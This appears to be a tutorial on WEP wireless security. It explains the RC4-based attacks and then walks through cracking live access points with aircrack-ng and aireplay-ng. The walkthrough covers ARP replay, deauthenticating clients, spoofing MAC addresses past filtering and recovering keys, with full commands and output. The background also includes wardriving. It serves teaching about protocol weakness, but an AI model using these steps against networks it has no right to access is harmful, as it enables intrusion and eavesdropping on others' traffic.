Wireless networks these days use the 802.11b, 802.11a, 802.11g standards. Since no physical access is needed to listen to a conversation, and protection tends to be poor, wireless networks are an interesting source of information.
As always, the first stage is discovery. Set up
Kismet (for Linux)
or
NetStumbler (for Windows)
or aircrack, airsnort, wepcrack on a laptop or PDA, and listen to
the neighbourhood. If nothing of any interest is seen, take some vehicle
and drive around. One can get fancy and connect GPS to the laptop.
Now kismet gets good position data and you can print maps
showing the areas where servers can be heard.
Many connections are unprotected, and you can read the exchanged data, or inject your own data into the conversation, just like for unencrypted ethernet.
Many connections are only weakly protected. WEP (Wired Equivalent Privacy) is completely insecure, can be broken within seconds after collecting enough data, and the collection phase need only take a few minutes. WPA (Wifi Protected Access) is an improvement but also has weaknesses. WPA2 is much stronger - based on AES instead of RC4, and with several flaws in the protocol removed.
Fluhrer, Mantin & Shamir (2001) described an attack on the RC4
key scheduling algorithm in WEP. Stubblefield, Ioannides & Rubin (2001)
actually did it, and found that they needed a few million packets.
Software like airsnort and wepcrack implements this.
In 2004 KoreK demonstrated improvements, implemented in his chopper
and in aircrack. Now several hundred thousand packets suffice.
In 2005 Klein did a new cryptanalysis, finding further correlations between
the RC4 key and outputstream. Erik Tews, Andrei Pychkine and Ralf-Philipp
Weinmann `Breaking 104 bit WEP in less than 60 seconds' (1 Apr 2007)
implemented his proposed attack in aircrack-ptw.
Now several tens of thousands of packets are enough.
RC4 is a stream cipher developed by Ron Rivest. It is initialized using a key, and produces a stream of output bytes. RC4 is used for WEP encryption as follows: choose a fixed secret key K of 5-13 bytes, 40-104 bits, and preprend a random per-packet non-secret initial vector IV of 3 bytes, 24 bits, to obtain a 64- or 128-bit RC4 key (IV,K). Now RC4 is initialized with this key and the resulting stream of output bytes is used to encrypt the packet via XOR.
In plaintext the BSSID and Destination Address and IV are transmitted. The rest is encrypted. Since the legitimate receiver knows the key K and can see the initial vector IV, he knows the RC4 key (IV,K), can generate the same RC4 byte stream, and decrypt via XOR.
The PTW-attack uses ARP packets. A wifi ARP packet has 68 bytes. (A 28-byte plaintext header: 08 41: frame control, 00 00: duration, 6 bytes BSSID, 6 bytes source address, 6 bytes destination address, 2 bytes sequence number, 3 bytes IV, 1 byte key index. Then a 40-byte RC4-encrypted part.)
The 40-byte encrypted part starts out with the 16 bytes AA AA 03 00 00 00 08 06 00 01 08 00 06 04 00 01 for an ARP request, and the same but with last byte 02 for an ARP reply. (The AA AA 03 and 00 00 00 are the 802.2 LLC header and SNAP header prescribed by RFC 1042. Then 08 06: ARP request, 00 01: hardware type ethernet, 08 00: protocol type IP, 06: hardware address length, 04: protocol address length, 00 01/02: request/reply, then 6 bytes sender MAC, 4 bytes sender IP, 6 bytes target MAC, 4 bytes target IP. Finally a 4-byte WEP checksum.)
Since the encrypted version is captured and 16 bytes of the non-encrypted version are known, we know the first 16 output bytes of RC4, and that gives information on the key.
One can play this game with other types of packets: many types of packets have partially predictable contents.
Today I find myself with a Dell D830 laptop with wifi.
The driver is ipw3945. Good enough for listening,
but not good enough for packet injection.
Read the docs in newbie_guide and simple_wep_crack and ipw3945 and aircrack-ptw.
Get and install the aircrack-ng suite (standard in many distributions).
Get the aircrack-ptw program.
Download a driver that can do packet injection from
tu-darmstadt.de.
Compile the driver and install the corresponding firmware, unload
the old one, load the new one. Now the wifi device is called wifi0
instead of wlan0.
# iwconfig ... lo ... ... eth0 ... ... wlan0 ... # modprobe -r ipw3945 # insmod ipwraw.ko # iwconfig ... lo ... ... eth0 ... ... wifi0 ... ... rtap0 ...Check that packet injection works:
# ifconfig wifi0 down : Set BSSID of AP # echo '00:12:17:xx:xx:xx' > /sys/class/net/wifi0/device/bssid : Set channel of AP # echo 11 > /sys/class/net/wifi0/device/channel : Change rate from 54Mb/s to 1Mb/s # echo 2 > /sys/class/net/wifi0/device/rate # ifconfig wifi0 up # airmon-ng start wifi0 # aireplay-ng --test wifi0 00:11:42 Trying broadcast probe requests... 00:11:42 Injection is working! 00:11:43 Found 4 APs ...Now start dumping traffic to file, and start aireplay to replay any ARP requests.
# airodump-ng -c 11 --bssid 00:12:17:xx:xx:xx -w dump wifi0and in a different window (where 00:0D:93:yy:yy:yy is associated to the AP)
# aireplay-ng --arpreplay -b 00:12:17:xx:xx:xx -h 00:0D:93:yy:yy:yy wifi0and in a different window
% aircrack-ptw ~/dump-01.cap stats for bssid 00:12:17:xx:xx:xx keyindex=0 packets=14023 % aircrack-ptw ~/dump-01.cap stats for bssid 00:12:17:xx:xx:xx keyindex=0 packets=14976 Found key with len 05: 83 6A A4 70 F1Here 15000 packets sufficed, and the decoding time was 2 seconds. In other attempts it has happened that 8000 packets were enough for a 40-bit WEP key. For a 104-bit WEP-key, 40000 packets sufficed (with a decoding time of less than 2 seconds):
% aircrack-ptw dump stats for bssid 00:12:17:xx:xx:xx keyindex=0 packets=30896 % aircrack-ptw dump stats for bssid 00:12:17:xx:xx:xx keyindex=0 packets=38525 hit with strongbyte for keybyte 4 Found key with len 13: 19 07 AB 77 8D 6F E7 C4 D2 77 25 2B 32
Often, a collection time of less than five minutes suffices. But sometimes one gets 0 ARP requests, and there is nothing to replay. Then it is necessary to provoke some activity. The command
# aireplay-ng --deauth=5 -a 00:12:17:xx:xx:xx -c 00:0D:93:yy:yy:yy wifi0deauthenticates the client 00:0D:93:yy:yy:yy from the access point 00:12:17:xx:xx:xx, and provokes subsequent ARP traffic.
These attacks are statistical in nature, and on average the correct
key bytes get more votes than incorrect bytes. But one can be unlucky.
Today, after collecting 600000 IVs (of which 50000 on ARP packets that
aircrack-ptw can use) I got failure from aircrack-ptw and default
aircrack-ng, but success from aircrack-ng -f4 -k1.
(The -f flag gives the fudge factor, default 2, with higher values
more possibilities are tried. The -k1 suppressed the first KoreK
attack, since that gave a strong false positive in this particular case.)
The resulting key was alphanumeric, but was not found by
aircrack-ng -c -f4 -k1, which is a bug in aircrack-ng 0.9.1,
corrected in aircrack-ng 1.0beta.
The procedure sketched above requires an associated client.
If there is none, try the following procedure.
First, capture traffic from the AP for a while until at least
one ARP packet is found.
(Select them from a big dump using wireshark.
Recognize them by their length: 68 or 86 bytes.)
Then authenticate one's own MAC.
Here an example with AP 00:14:BF:xx:xx:xx and my own MAC 00:1C:BF:yy:yy:yy.
# echo '00:1C:BF:yy:yy:yy' > /sys/class/net/wifi0/device/bssid
# echo 11 > /sys/class/net/wifi0/device/channel
# echo 2 > /sys/class/net/wifi0/device/rate
# airodump-ng -c 11 --bssid 00:14:BF:xx:xx:xx -w dump.cap rtap0
: and in a different window: authenticate and replay
# aireplay-ng -1 0 -a 00:14:BF:xx:xx:xx -h 00:1C:BF:yy:yy:yy -e "ESSID" wifi0
15:38:07 Waiting for beacon frame (BSSID: 00:14:BF:xx:xx:xx)
15:38:07 Sending Authentication Request
15:38:07 Authentication successful
15:38:07 Sending Association Request
15:38:08 Association successful :-)
# aireplay-ng -3 -b 00:14:BF:xx:xx:xx -h 00:1C:BF:yy:yy:yy wifi0
: and in a different window: inject one ARP packet from file
# aireplay-ng -2 -o 1 -a 00:14:BF:xx:xx:xx -h 00:1C:BF:yy:yy:yy -r file.cap wifi0
Size: 86, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:14:BF:xx:xx:xx
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0D:93:zz:zz:zz
...
Use this packet ? y
: and in a different window: crack
# aircrack-ng -f4 dump.cap
[00:09:41] Tested 2079834 keys (got 49836 IVs)
...
KEY FOUND! [ XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX ]
In this case aircrack-ng -f4 needed about 50000 packets,
while aircrack-ptw found the key using about 60000.
In a different case again, the AP refused my MAC address,
and didn't want to associate, apparently filtering on MAC addresses.
Fortunately the big initial dump contained one ARP request from the
single acceptable client. Using this address instead of my own,
associating and injecting this one packet worked. (Success after
one hour and about 30000 packets, using -f 10 for this
slow connection.)